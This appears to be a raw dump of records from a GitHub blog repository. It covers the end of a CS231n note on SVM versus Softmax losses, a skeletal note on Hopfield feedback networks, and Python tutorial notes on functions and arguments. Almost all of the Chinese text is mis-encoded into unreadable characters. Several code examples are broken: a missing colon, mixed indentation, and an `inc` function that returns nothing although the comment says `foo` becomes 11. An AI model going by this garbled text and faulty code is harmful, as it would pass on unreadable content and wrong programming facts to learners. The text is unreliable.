ท๏ผŒๆ•ฐๅญ—้—ด็›ธไบ’ๆฏ”่พƒๅพ—ๅ‡บ็š„ๅคงๅฐ้กบๅบๆ˜ฏๅฏไปฅ่งฃ้‡Š็š„๏ผŒไฝ†ๅ…ถ็ปๅฏนๅ€ผๅˆ™้šพไปฅ็›ด่ง‚่งฃ้‡Šใ€‚\n\n**ๅœจๅฎž้™…ไฝฟ็”จไธญ๏ผŒSVMๅ’ŒSoftmax็ปๅธธๆ˜ฏ็›ธไผผ็š„**๏ผš้€šๅธธ่ฏดๆฅ๏ผŒไธค็งๅˆ†็ฑปๅ™จ็š„่กจ็Žฐๅทฎๅˆซๅพˆๅฐ๏ผŒไธๅŒ็š„ไบบๅฏนไบŽๅ“ชไธชๅˆ†็ฑปๅ™จๆ›ดๅฅฝๆœ‰ไธๅŒ็š„็œ‹ๆณ•ใ€‚็›ธๅฏนไบŽSoftmaxๅˆ†็ฑปๅ™จ๏ผŒSVMๆ›ดๅŠ โ€œๅฑ€้ƒจ็›ฎๆ ‡ๅŒ–๏ผˆlocal objective๏ผ‰โ€๏ผŒ่ฟ™ๆ—ขๅฏไปฅ็œ‹ๅšๆ˜ฏไธ€ไธช็‰นๆ€ง๏ผŒไนŸๅฏไปฅ็œ‹ๅšๆ˜ฏไธ€ไธชๅŠฃๅŠฟใ€‚่€ƒ่™‘ไธ€ไธช่ฏ„ๅˆ†ๆ˜ฏ[10, -2, 3]็š„ๆ•ฐๆฎ๏ผŒๅ…ถไธญ็ฌฌไธ€ไธชๅˆ†็ฑปๆ˜ฏๆญฃ็กฎ็š„ใ€‚้‚ฃไนˆไธ€ไธชSVM๏ผˆ$\\Delta =1$๏ผ‰ไผš็œ‹ๅˆฐๆญฃ็กฎๅˆ†็ฑป็›ธ่พƒไบŽไธๆญฃ็กฎๅˆ†็ฑป๏ผŒๅทฒ็ปๅพ—ๅˆฐไบ†ๆฏ”่พน็•Œๅ€ผ่ฟ˜่ฆ้ซ˜็š„ๅˆ†ๆ•ฐ๏ผŒๅฎƒๅฐฑไผš่ฎคไธบๆŸๅคฑๅ€ผๆ˜ฏ0ใ€‚SVMๅฏนไบŽๆ•ฐๅญ—ไธชไฝ“็š„็ป†่Š‚ๆ˜ฏไธๅ…ณๅฟƒ็š„๏ผšๅฆ‚ๆžœๅˆ†ๆ•ฐๆ˜ฏ[10, -100, -100]ๆˆ–่€…[10, 9, 9]๏ผŒๅฏนไบŽSVMๆฅ่ฏดๆฒกไป€ไนˆไธๅŒ๏ผŒๅช่ฆๆปก่ถณ่ถ…่ฟ‡่พน็•Œๅ€ผ็ญ‰ไบŽ1๏ผŒ้‚ฃไนˆๆŸๅคฑๅ€ผๅฐฑ็ญ‰ไบŽ0ใ€‚\n\nๅฏนไบŽsoftmaxๅˆ†็ฑปๅ™จ๏ผŒๆƒ…ๅ†ตๅˆ™ไธๅŒใ€‚ๅฏนไบŽ[10, 9, 9]ๆฅ่ฏด๏ผŒ่ฎก็ฎ—ๅ‡บ็š„ๆŸๅคฑๅ€ผๅฐฑ่ฟœ่ฟœ้ซ˜ไบŽ[10, -100, -100]็š„ใ€‚ๆขๅฅ่ฏๆฅ่ฏด๏ผŒsoftmaxๅˆ†็ฑปๅ™จๅฏนไบŽๅˆ†ๆ•ฐๆ˜ฏๆฐธ่ฟœไธไผšๆปกๆ„็š„๏ผšๆญฃ็กฎๅˆ†็ฑปๆ€ป่ƒฝๅพ—ๅˆฐๆ›ด้ซ˜็š„ๅฏ่ƒฝๆ€ง๏ผŒ้”™่ฏฏๅˆ†็ฑปๆ€ป่ƒฝๅพ—ๅˆฐๆ›ดไฝŽ็š„ๅฏ่ƒฝๆ€ง๏ผŒๆŸๅคฑๅ€ผๆ€ปๆ˜ฏ่ƒฝๅคŸๆ›ดๅฐใ€‚ไฝ†ๆ˜ฏ๏ผŒSVMๅช่ฆ่พน็•Œๅ€ผ่ขซๆปก่ถณไบ†ๅฐฑๆปกๆ„ไบ†๏ผŒไธไผš่ถ…่ฟ‡้™ๅˆถๅŽป็ป†ๅพฎๅœฐๆ“ไฝœๅ…ทไฝ“ๅˆ†ๆ•ฐใ€‚่ฟ™ๅฏไปฅ่ขซ็œ‹ๅšๆ˜ฏSVM็š„ไธ€็ง็‰นๆ€งใ€‚ไธพไพ‹่ฏดๆฅ๏ผŒไธ€ไธชๆฑฝ่ฝฆ็š„ๅˆ†็ฑปๅ™จๅบ”่ฏฅๆŠŠไป–็š„ๅคง้‡็ฒพๅŠ›ๆ”พๅœจๅฆ‚ไฝ•ๅˆ†่พจๅฐ่ฝฟ่ฝฆๅ’Œๅคงๅก่ฝฆไธŠ๏ผŒ่€Œไธๅบ”่ฏฅ็บ ็ป“ไบŽๅฆ‚ไฝ•ไธŽ้’่›™่ฟ›่กŒๅŒบๅˆ†๏ผŒๅ› ไธบๅŒบๅˆ†้’่›™ๅพ—ๅˆฐ็š„่ฏ„ๅˆ†ๅทฒ็ป่ถณๅคŸไฝŽไบ†ใ€‚\n\n## ไบคไบ’ๅผ็š„็ฝ‘้กตDemo\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e0839a9ddd.png)\n\nๆˆ‘ไปฌๅฎž็Žฐไบ†ไธ€ไธช[ไบคไบ’ๅผ็š„็ฝ‘้กตๅŽŸๅž‹](http://vision.stanford.edu/teaching/cs231n/linear-classify-demo)๏ผŒๆฅๅธฎๅŠฉ่ฏป่€…็›ด่ง‚ๅœฐ็†่งฃ็บฟๆ€งๅˆ†็ฑปๅ™จใ€‚ๅŽŸๅž‹ๅฐ†ๆŸๅคฑๅ‡ฝๆ•ฐ่ฟ›่กŒๅฏ่ง†ๅŒ–๏ผŒ็”ป้ข่กจ็Žฐ็š„ๆ˜ฏๅฏนไบŽ2็ปดๆ•ฐๆฎ็š„3็ง็ฑปๅˆซ็š„ๅˆ†็ฑปใ€‚ๅŽŸๅž‹ๅœจ่ฏพ็จ‹่ฟ›ๅบฆไธŠ็จๅพฎ่ถ…ๅ‰๏ผŒๅฑ•็Žฐไบ†ๆœ€ไผ˜ๅŒ–็š„ๅ†…ๅฎน๏ผŒๆœ€ไผ˜ๅŒ–ๅฐ†ๅœจไธ‹ไธ€่Š‚่ฏพ่ฎจ่ฎบใ€‚\n\n---\n\n## ๅฐ็ป“\n\nๆ€ป็ป“ๅฆ‚ไธ‹๏ผš\n\n- ๅฎšไน‰ไบ†ไปŽๅ›พๅƒๅƒ็ด ๆ˜ ๅฐ„ๅˆฐไธๅŒ็ฑปๅˆซ็š„ๅˆ†็ฑป่ฏ„ๅˆ†็š„่ฏ„ๅˆ†ๅ‡ฝๆ•ฐใ€‚ๅœจๆœฌ่Š‚ไธญ๏ผŒ่ฏ„ๅˆ†ๅ‡ฝๆ•ฐๆ˜ฏไธ€ไธชๅŸบไบŽๆƒ้‡**W**ๅ’Œๅๅทฎ**b**็š„็บฟๆ€งๅ‡ฝๆ•ฐใ€‚\n- ไธŽkNNๅˆ†็ฑปๅ™จไธๅŒ๏ผŒ**ๅ‚ๆ•ฐๆ–นๆณ•**็š„ไผ˜ๅŠฟๅœจไบŽไธ€ๆ—ฆ้€š่ฟ‡่ฎญ็ปƒๅญฆไน ๅˆฐไบ†ๅ‚ๆ•ฐ๏ผŒๅฐฑๅฏไปฅๅฐ†่ฎญ็ปƒๆ•ฐๆฎไธขๅผƒไบ†ใ€‚ๅŒๆ—ถ่ฏฅๆ–นๆณ•ๅฏนไบŽๆ–ฐ็š„ๆต‹่ฏ•ๆ•ฐๆฎ็š„้ข„ๆต‹้žๅธธๅฟซ๏ผŒๅ› ไธบๅช้œ€่ฆไธŽๆƒ้‡**W**่ฟ›่กŒไธ€ไธช็Ÿฉ้˜ตไน˜ๆณ•่ฟ็ฎ—ใ€‚\n- ไป‹็ปไบ†ๅๅทฎๆŠ€ๅทง๏ผŒ่ฎฉๆˆ‘ไปฌ่ƒฝๅคŸๅฐ†ๅๅทฎๅ‘้‡ๅ’Œๆƒ้‡็Ÿฉ้˜ตๅˆไบŒไธบไธ€๏ผŒ็„ถๅŽๅฐฑๅฏไปฅๅช่ทŸ่ธชไธ€ไธช็Ÿฉ้˜ตใ€‚\n- ๅฎšไน‰ไบ†ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผˆไป‹็ปไบ†SVMๅ’ŒSoftmax็บฟๆ€งๅˆ†็ฑปๅ™จๆœ€ๅธธ็”จ็š„2ไธชๆŸๅคฑๅ‡ฝๆ•ฐ๏ผ‰ใ€‚ๆŸๅคฑๅ‡ฝๆ•ฐ่ƒฝๅคŸ่กก้‡็ป™ๅ‡บ็š„ๅ‚ๆ•ฐ้›†ไธŽ่ฎญ็ปƒ้›†ๆ•ฐๆฎ็œŸๅฎž็ฑปๅˆซๆƒ…ๅ†ตไน‹้—ด็š„ไธ€่‡ดๆ€งใ€‚ๅœจๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅฎšไน‰ไธญๅฏไปฅ็œ‹ๅˆฐ๏ผŒๅฏน่ฎญ็ปƒ้›†ๆ•ฐๆฎๅšๅ‡บ่‰ฏๅฅฝ้ข„ๆต‹ไธŽๅพ—ๅˆฐไธ€ไธช่ถณๅคŸไฝŽ็š„ๆŸๅคฑๅ€ผ่ฟ™ไธคไปถไบ‹ๆ˜ฏ็ญ‰ไปท็š„ใ€‚\n\n็Žฐๅœจๆˆ‘ไปฌ็Ÿฅ้“ไบ†ๅฆ‚ไฝ•ๅŸบไบŽๅ‚ๆ•ฐ๏ผŒๅฐ†ๆ•ฐๆฎ้›†ไธญ็š„ๅ›พๅƒๆ˜ ๅฐ„ๆˆไธบๅˆ†็ฑป็š„่ฏ„ๅˆ†๏ผŒไนŸ็Ÿฅ้“ไบ†ไธค็งไธๅŒ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผŒๅฎƒไปฌ้ƒฝ่ƒฝ็”จๆฅ่กก้‡็ฎ—ๆณ•ๅˆ†็ฑป้ข„ๆต‹็š„่ดจ้‡ใ€‚ไฝ†ๆ˜ฏ๏ผŒๅฆ‚ไฝ•้ซ˜ๆ•ˆๅœฐๅพ—ๅˆฐ่ƒฝๅคŸไฝฟๆŸๅคฑๅ€ผๆœ€ๅฐ็š„ๅ‚ๆ•ฐๅ‘ข๏ผŸ่ฟ™ไธชๆฑ‚ๅพ—ๆœ€ไผ˜ๅ‚ๆ•ฐ็š„่ฟ‡็จ‹่ขซ็งฐไธบๆœ€ไผ˜ๅŒ–๏ผŒๅฐ†ๅœจไธ‹่Š‚่ฏพไธญ่ฟ›่กŒไป‹็ปใ€‚\n\n## ๆ‹“ๅฑ•้˜…่ฏป\n\nไธ‹้ข็š„ๅ†…ๅฎน่ฏป่€…ๅฏๆ นๆฎๅ…ด่ถฃ้€‰ๆ‹ฉๆ€ง้˜…่ฏปใ€‚\n\n- [Deep Learning using Linear Support Vector Machines](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1306.0239)ไธ€ๆ–‡็š„ไฝœ่€…ๆ˜ฏTang Charlie๏ผŒ่ฎบๆ–‡ๅ†™ไบŽ2013ๅนด๏ผŒๅฑ•็คบไบ†ไธ€ไบ›L2SVMๆฏ”Softmax่กจ็Žฐๆ›ดๅ‡บ่‰ฒ็š„็ป“ๆžœใ€‚\n\n\n\n## ไฝœไธš๏ผšTraining a Support Vector Machine\n\nThe IPython Notebook **svm.ipynb** will walk you through implementing the SVM classifier.\n\n\n\n\n\n## ไฝœไธš๏ผšImplement a Softmax classifier\n\nThe IPython Notebook **softmax.ipynb** will walk you through implementing the Softmax classifier.\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./CS231n_linear_classification_note.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.5659690499305725, "alphanum_fraction": 0.5896269083023071, "avg_line_length": 12.365853309631348, "blob_id": "af1b89f420cd870f68c7ac838c148f0d3874ea79", "content_id": "e431b350858494d904dd0eaa6209c3ec326aeb7c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1741, "license_type": "no_license", "max_line_length": 134, "num_lines": 82, "path": "/blog/ANN/note2.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "\n\n\n\n# ๅ้ฆˆๅž‹ไบบๅทฅ็ฅž็ป็ฝ‘็ปœ\n\n\n\n\n\n[TOC]\n\n\n\n\n\n\n\n## ๅŠจๅŠ›็ณป็ปŸ็š„็จณๅฎšๆ€ง\n\n### A. ็ฝ‘็ปœ็š„ๆจกๅž‹ไธŽๅˆ†็ฑป\n\nๅ้ฆˆๅผ็ฝ‘็ปœ็š„็ป“ๆž„ๅฆ‚ไธ‹ๅ›พ๏ผš\n\n![](https://i.loli.net/2018/11/15/5bed1157bf7eb.png)\n\n่ฟ™็ง็ฝ‘็ปœไธญ็š„ๆฏไธช็ฅž็ปๅ…ƒ็š„่พ“ๅ‡บ้ƒฝไธŽๅ…ถๅฎƒ็ฅž็ปๅ…ƒ็š„่พ“ๅ…ฅ็›ธ่ฟžๆŽฅ๏ผŒๅ…ถ่พ“ๅ…ฅ่พ“ๅ‡บๅ…ณ็ณปๅฆ‚ไธ‹๏ผš\n$$\n\\left\\{\\begin{align}\n&s_i = \\sum^n_{j=0}w_{ij}V_j+I_i, &(w_{i0}=\\theta_i,V_0\\equiv-1)\\\\ \n&x_i = g(s_i), &(x_i=u_i,\\text{ไธบ็ฅž็ปๅ…ƒ็š„็Šถๆ€})\\\\ \n&V_i = f(x_i), &(\\text{็ฅž็ป็š„่พ“ๅ‡บ})\n\\end{align}\\right.\n$$\nๆณจๆ„๏ผšๅœจๅ้ฆˆ็ฝ‘็ปœไธญ๏ผŒ็ฅž็ปๅ…ƒ่ฟ™ไธ€ๆ—ถๅˆป็š„็Šถๆ€(ๆˆ–่พ“ๅ‡บ)ไธŽไธŠไธ€ๆ—ถๅˆป็š„็Šถๆ€(ๆˆ–่พ“ๅ‡บ)ๆœ‰ๅ…ณ๏ผŒไธŽๅ‰้ฆˆ็ฝ‘็ปœไธๅŒใ€‚\n\n- ๅ‡ฝๆ•ฐ็š„้€‰ๅ–๏ผš\n - $x_i=g(s_i)=s_i$, $f(x_i)=Sgn(x_i) \\leftrightarrow \\text{็ฆปๆ•ฃๅž‹ๅ้ฆˆ็ฝ‘็ปœ}$\n - ๅฆ‚ๆžœ้€š่ฟ‡ไธ‹ๅˆ—ๆ–น็จ‹็ป™ๅ‡บ่พ“ๅ…ฅ่พ“ๅ‡บๅ…ณ็ณป๏ผŒๅˆ™็งฐ็ฝ‘็ปœไธบ่ฟž็ปญๅž‹ๅ้ฆˆ็ฝ‘็ปœ๏ผš\n\n $$\n \\left\\{\\begin{align}\n &\\frac{dX_i}{dt} = - \\frac{1}{\\tau_i}X_i+s_i \\\\\n &V_i=f(X_i), f(\\cdot)\\text{ไธบไธ€ไธช่ฟž็ปญๅ•่ฐƒไธŠๅ‡็š„ๆœ‰็•Œๅ‡ฝๆ•ฐใ€‚}\n \\end{align}\\right.\n $$\n\n- ๆผ”ๅŒ–่ฟ‡็จ‹ไธŽ่ฝจ่ฟน๏ผšไปค $I=(I_1,I_2,\\cdots,I_n)^T\\in\\mathbb{R}^n,X=(x_1,x_2,\\cdots,x_n)^T\\in\\mathbb{R}^n,V=(V_1,V_2,\\cdots,V_n)^T\\in\\mathbb{R}^n$๏ผŒ\n\n ๅˆ™ๅœจ $\\mathbb{R}^n$ ็ฉบ้—ดไธŠ็Šถๆ€็‚น $X(t)$๏ผˆๆˆ–่พ“ๅ‡บ$V(t)$๏ผ‰้šๆ—ถ้—ดๅˆ™ๅฝขๆˆไธ€ๆก่ฝจ่ฟน๏ผŒไปŽ่ฟ™ไธ€่ฝจ่ฟน็š„่ถ‹ๅŠฟๅฏไปฅๅˆคๆ–ญ็ฝ‘็ปœ็ณป็ปŸ็š„็จณๅฎšๆ€งใ€‚\n\n ๅฏนไบŽ็ฆปๆ•ฃๅž‹็ฝ‘็ปœ๏ผŒ่ฝจ่ฟนๆ˜ฏ่ทณ่ทƒๅ˜ๅŒ–็š„๏ผ›ๅฏนไบŽ่ฟž็ปญๅž‹็ฝ‘็ปœ๏ผŒ่ฝจ่ฟนๆ˜ฏ่ฟž็ปญๅ˜ๅŒ–็š„ใ€‚$(X(t)\\leftarrow I(t)\\,\\,(ๆˆ– I(t_0)))$\n\n\n\n### B. ็Šถๆ€่ฝจ่ฟน็š„ๅˆ†็ฑป\n\n\n\n\n\n\n\n\n\n## ็ฆปๆ•ฃ Hopfield ็ฝ‘็ปœ็š„็จณๅฎšๆ€ง\n\n\n\n\n\n\n\n## ็ฆปๆ•ฃ Hopfield ็ฝ‘็ปœไธŽ่”ๆƒณ่ฎฐๅฟ†\n\n\n\n\n\n## ่ฟž็ปญ Hopfield ็ฝ‘็ปœ็š„็จณๅฎšๆ€ง\n\n\n\n\n\n## ่ฟž็ปญ Hopfield ็ฝ‘็ปœไธŽ็ป„ๅˆไผ˜ๅŒ–" }, { "alpha_fraction": 0.5774502754211426, "alphanum_fraction": 0.5990709662437439, "avg_line_length": 21.757179260253906, "blob_id": "c8e36f4b3db1efc77722d856a676014542c1c8be", "content_id": "5c5fd7f913578faf119bb0cd9751d4975223b966", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 27059, "license_type": "no_license", "max_line_length": 394, "num_lines": 766, "path": "/blog/books/Beginning_Python.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Python ๅŸบ็ก€ๆ•™็จ‹๏ผˆ็ฌฌ3็‰ˆ๏ผ‰\ndate: 2018-05-10\n---\n\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n[TOC]\n\n\n\n# Python ๅŸบ็ก€ๆ•™็จ‹๏ผˆ็ฌฌ3็‰ˆ๏ผ‰\n\n> - ่ฏฅ็ฌ”่ฎฐๆ˜ฏไธชไบบๅœจๅญฆไน ๅ’Œ้˜…่ฏปใ€Š**Beginning Python** From Novice to Professional <u>Third Edition</u>ใ€‹ๆ—ถๅ€™๏ผŒๆ‰€ไฝœ็š„็งไบบ็ฌ”่ฎฐใ€‚ไธไฟ่ฏ่ฆ†็›–ไนฆ็ฑๆ‰€ๆœ‰็Ÿฅ่ฏ†็‚นๅ’Œๅ†…ๅฎน๏ผŒไป…ๆ‘˜ๅฝ•ไธชไบบ่ง‰ๅพ—้‡่ฆๅ’Œๆœ‰่ถฃ็š„ไฟกๆฏ๏ผŒไปฅๅŠ็›ธๅ…ณ่ต„ๆ–™็š„ๆœ้›†ๅ’Œ่ฎจ่ฎบใ€‚็›ธๅฝ“ไบŽๆ˜ฏๅŽŸไนฆไธŠๅš็š„ๆ‰นๆณจ็ฌ”่ฎฐใ€‚\n> - ไปฅไธ‹ไปฃ็ ้ƒฝๅฏไปฅๅœจ `Python 3.6` ็Žฏๅขƒไธ‹้กบๅˆฉ่ฟ่กŒใ€‚\n\n\n\n\n\n---\n\n## ็ฌฌ6็ซ  ๆŠฝ่ฑก\n\n\n\n- ๆŠฝ่ฑกๅฐฑๆ˜ฏ่ฆ่Š‚็œไบบๅŠ›๏ผŒ่ฟฝๆฑ‚็š„ๆ˜ฏไธ€็งโ€œๆ‡’ๆƒฐโ€็š„็พŽๅพทใ€‚\n- ๆŠฝ่ฑก็š„ๅ…ณ้”ฎไฝœ็”จๆ˜ฏๆ˜ฏ่ฆ็จ‹ๅบ่ƒฝๅคŸ่ขซไบบ็†่งฃใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๆŽฉ็›–ๆ“ไฝœ็ป†่Š‚๏ผŒๅช้œ€่ฆ็ป„็ป‡ๅฟ…่ฆ็š„้€ป่พ‘ใ€‚\n\n\n\n### ่‡ชๅฎšไน‰ๅ‡ฝๆ•ฐ\n\n> ๅ‡ฝๆ•ฐๆ˜ฏ็ป“ๆž„ๅŒ–็ผ–็จ‹็š„ๆ ธๅฟƒ\n\n```python\ndef test(num):\n 'ๆ–ๆณข้‚ฃๅฅ‘ๆ•ฐๅˆ—' # ๅ‡ฝๆ•ฐๆ–‡ๆกฃ\n result = [0, 1]\n for i in range(num-2):\n result.append(result[-2] + result[-1])\n\treturn result\n\tprint('Finished!')\t# ไธไผšๆ‰ง่กŒ\n```\n\n- ๅ‡ฝๆ•ฐ็š„ๅ†…้ƒจๅ˜้‡ (`num`, `result`) ๅฏไปฅไฝฟ็”จไปปไฝ•ๅๅญ—ใ€‚\n- ๅ†…็ฝฎๅ‡ฝๆ•ฐ `callable ` ๏ผˆๅˆคๆ–ญไธ€ไธชๅฏน่ฑกๆ˜ฏๅฆๅฏ่ฐƒ็”จ๏ผ‰\n- ๆŸฅ็œ‹ๅ‡ฝๆ•ฐ็š„ๆ–‡ๆกฃๅฏไปฅ็”จ `test.__doc__` ๆˆ–่€… `help(test)`\n- `return` ๅชๆ˜ฏไธบไบ†็ป“ๆŸๅ‡ฝๆ•ฐ๏ผŒๅฏไปฅไธ่ทŸไปปไฝ•ๅ˜้‡๏ผŒ่‡ณๅฐ‘ไผš่ฟ”ๅ›ž `None`\n- `return` ไน‹ๅŽ็š„ไปฃ็ ่กŒๅฐ†ไธไผšๆ‰ง่กŒใ€‚\n\n\n\n### ๅ‡ฝๆ•ฐ็š„ๅ‚ๆ•ฐๆ€Žไนˆไฟฎๆ”น\n\n- ๅ‡ฝๆ•ฐๅ†…็š„ๅฑ€้ƒจๅ็งฐ๏ผˆๅŒ…ๆ‹ฌๅ‚ๆ•ฐ๏ผ‰ไธไผšไธŽๅ‡ฝๆ•ฐๅค–็š„ๅ็งฐ๏ผˆๅ…จๅฑ€ๅ็งฐ๏ผ‰ๅ†ฒ็ชใ€‚\n\n- ๅ‡ฝๆ•ฐ็š„ๅ‚ๆ•ฐ๏ผˆ'ๅฝขๅ‚'๏ผ‰ๅฏนไบŽ**ไธๅฏๅ˜็š„ๆ•ฐๆฎ็ป“ๆž„**๏ผŒๅฆ‚**ๅญ—็ฌฆไธฒใ€ๆ•ฐๅ’Œๅ…ƒ็ป„**็ญ‰๏ผŒๅ‡ฝๆ•ฐๅ†…้ƒจ้‡ๆ–ฐๅ…ณ่”ๅ‚ๆ•ฐ๏ผˆ่ต‹ๅ€ผ๏ผ‰๏ผŒๅ‡ฝๆ•ฐๅค–้ƒจ็š„ๅ˜้‡ไธๅ—ๅฝฑๅ“๏ผ›ไฝ†ๆ˜ฏ**ๅฏๅ˜็š„ๆ•ฐๆฎ็ป“ๆž„**๏ผŒๅฆ‚**ๅˆ—่กจ**็ญ‰๏ผŒๅฐฑ้žๅธธไธๅŒไบ†๏ผ\n\n ```python\n def try_to_change(s,n,t,l1,l2):\n s = 'IPhysResearch'\n n = 2018\n t = ('changed', 'changed')\n l1 = ['changed','changed']\n l2[0] = 'changed'\n \n name = 'BLOG'\n year = 2017\n tuple_ = ('unchanged', 'unchanged')\n list1_ = ['unchanged', 'unchanged']\n list2_ = ['unchanged', 'unchanged']\n \n try_to_change(name, year, tuple_, list1_, list2_)\n print(name)\n print(year)\n print(tuple_)\n print(list1_)\n print(list2_)\n \n # ๆ‰“ๅฐ็ป“ๆžœ\n # BLOG\n # 2017\n # ('unchanged', 'unchanged')\n # ['unchanged', 'unchanged']\n # ['changed', 'unchanged'] # ๅชๆœ‰่ฟ™ๅˆ—่กจ็š„็ฌฌไธ€ไธชๅ…ƒ็ด ๆ”นๅ˜ไบ†ๅ€ผ๏ผ\n ```\n\n ๅ‡ฝๆ•ฐๅ†…ๅฏนๅฏๅ˜ๅŒ–ๅ‚ๆ•ฐ็š„ๅ…ณ่”่ต‹ๅ€ผ๏ผŒๅ…ถๅฎž็ญ‰ไปทไบŽๅŒไธ€ไธชๅˆ—่กจ่ต‹ๅ€ผ็ป™ไบ†ไธคไธชๅ˜้‡ใ€‚\n\n ```python\n def try_to_change(l2):\n l2[0] = 'changed'\n list2_ = ['unchanged', 'unchanged']\n try_to_change(list2_)\n \n # ไธŠ่ฟฐๆ“ไฝœ็ญ‰ไปทไบŽ๏ผš\n \n l2 = list2_\n l2[0] = 'changed'\n ```\n\n ่‹ฅๆƒณไธๅฝฑๅ“ๅŽŸๅ˜้‡็š„ๅ€ผ๏ผŒ้œ€่ฆๅˆ›ๅปบๅˆ—่กจ็š„**ๅ‰ฏๆœฌ**๏ผŒไปŽ่€Œไฝฟๅพ—็ป™ๅ‡บไธคไธช**็›ธ็ญ‰**ไฝ†**ไธๅŒ**็š„ๅˆ—่กจ๏ผš\n\n ```python\n list2_ = ['unchanged', 'unchanged']\n l2 = list2_[:]\t\t# ไนŸๅฏ็ญ‰ไปท็š„ๅ†™ l2 = list2_.copy()\n print(l2 is list2_)\n print(l2 == list2_)\n l2[0] = 'changed'\n print(l2)\n print(list2_)\n \n # ๆ‰“ๅฐ็ป“ๆžœ\n # False\n # True\n # ['changed', 'unchanged']\n # ['unchanged', 'unchanged']\n ```\n\n- ๅฏนไบŽๅ‡ฝๆ•ฐๅ†…ๅ‚ๆ•ฐๆ˜ฏไธๅฏๅ˜็š„ๆ•ฐๆฎ็ป“ๆž„๏ผŒๅฆ‚**ๅญ—็ฌฆไธฒใ€ๆ•ฐๅ’Œๅ…ƒ็ป„**็ญ‰๏ผŒๅฐฑ้œ€่ฆ็”จ `return` ่ฟ”ๅ›žๆ‰€้œ€่ฆ็š„ๅ€ผไบ†๏ผŒๅฆ‚ไธ‹๏ผš\n\n ```python\n def inc(x): x+1\n foo = 10\n foo = inc(foo)\t# ๅฐ†่พ“ๅ‡บ่ต‹ๅ€ผๅˆฐๅŽŸ่พ“ๅ…ฅๅ‚ๆ•ฐๅ˜้‡๏ผŒไธ็„ถๅ…จๅฑ€็š„ foo ไธไผšๆœ‰ไปปไฝ•ๅ˜ๅŒ–ใ€‚\n foo\t\t# 11\n ```\n\n \n\n### ๅ…ณ้”ฎๅญ—ๅ‚ๆ•ฐ + ้ป˜่ฎคๅ€ผ\n\n- ๅฏไปฅ็ป“ๅˆไฝฟ็”จไฝ็ฝฎๅ‚ๆ•ฐๅ’Œๅ…ณ้”ฎๅญ—ๅ‚ๆ•ฐ๏ผŒไฝ†**ๅฟ…้กปๅ…ˆๆŒ‡ๅฎš**ๆ‰€ๆœ‰็š„**ไฝ็ฝฎๅ‚ๆ•ฐ**ใ€‚\n\n ```python\n def Hello_4(name, greeting='Hello', punctuation='!')\n \tprint('{},{}{}'.format(greeting, name, punctuation))\n # ๅ‡ฝๆ•ฐๅ†…็š„ name ๅ‚ๆ•ฐๆ˜ฏๅฟ…้กปๆŒ‡ๅฎš็š„๏ผŒๅ…ถไป–้ƒฝๆ˜ฏๅฏ้€‰็š„ใ€‚\n ```\n\n- ไธ€่ˆฌ่€Œ่จ€๏ผŒ้™ค้žๅฟ…ไธๅฏๅฐ‘็š„ๅ‚ๆ•ฐๅพˆๅฐ‘๏ผŒ่€Œๅธฆ้ป˜่ฎคๅ€ผ็š„ๅฏ้€‰ๅ‚ๆ•ฐๅพˆๅคš๏ผŒๅฆๅˆ™ไธๅบ”็ป“ๅˆไฝฟ็”จๅ…ณ้”ฎๅญ—ๅ‚ๆ•ฐๅ’Œไฝ็ฝฎๅ‚ๆ•ฐใ€‚\n\n\n\n### ๆ”ถ้›†ๅ‚ๆ•ฐ\n\n- ๅธฆไธ€ไธชๆ˜Ÿๅท็š„ๅ‚ๆ•ฐๅ˜้‡ไผšๆ”ถ้›†ๅ‚ๆ•ฐไธบไธ€ไธชๅ…ƒ็ป„ใ€‚๏ผˆไธๅŒไบŽๅบๅˆ—ๆŽฅๅŒ…ๆ˜ฏ๏ผŒๅธฆๆ˜Ÿๅท็š„ๅ˜้‡ๆ”ถ้›†็š„ๆ˜ฏไธ€ไธชๅˆ—่กจ๏ผ‰\n\n- ๆ— ๅฏไพ›ๆ”ถ้›†็š„ๅธฆๆ˜Ÿๅทๅ‚ๆ•ฐๆ—ถ๏ผŒๅ…ถๅฐ†่ฟ”ๅ›žไธ€ไธช็ฉบๅ…ƒ็ป„ใ€‚\n\n ```python\n def print_params_2(title, *params):\n print(title, params)\n \n print_params_2('Params:', 1, 2 ,3)\n # ๆ‰“ๅฐ็ป“ๆžœ\n # Params: (1, 2, 3)\n \n print_params_2('Nothing:')\n # ๆ‰“ๅฐ็ป“ๆžœ\n # Nothing: ()\n ```\n\n- ๅธฆไธคไธชๆ˜Ÿๅท็š„ๅ‚ๆ•ฐๆ”ถ้›†ๅ…ณ้”ฎๅญ—ๅ‚ๆ•ฐ๏ผŒๅนถไธ”ๅ…ถๅพ—ๅˆฐ็š„ๆ˜ฏไธ€ไธชๅญ—ๅ…ธใ€‚ๆ— ๅฏๆไพ›๏ผŒๅฐ†่ฟ”ๅ›ž็ฉบๅญ—ๅ…ธใ€‚\n\n ```python\n def print_params_2(x, y, z = 3, *pospar, **keypar):\n print(x, y, z, pospar, keypar)\n \n print_params_2(3, 2, 1, 5, 6, 7, foo=1, 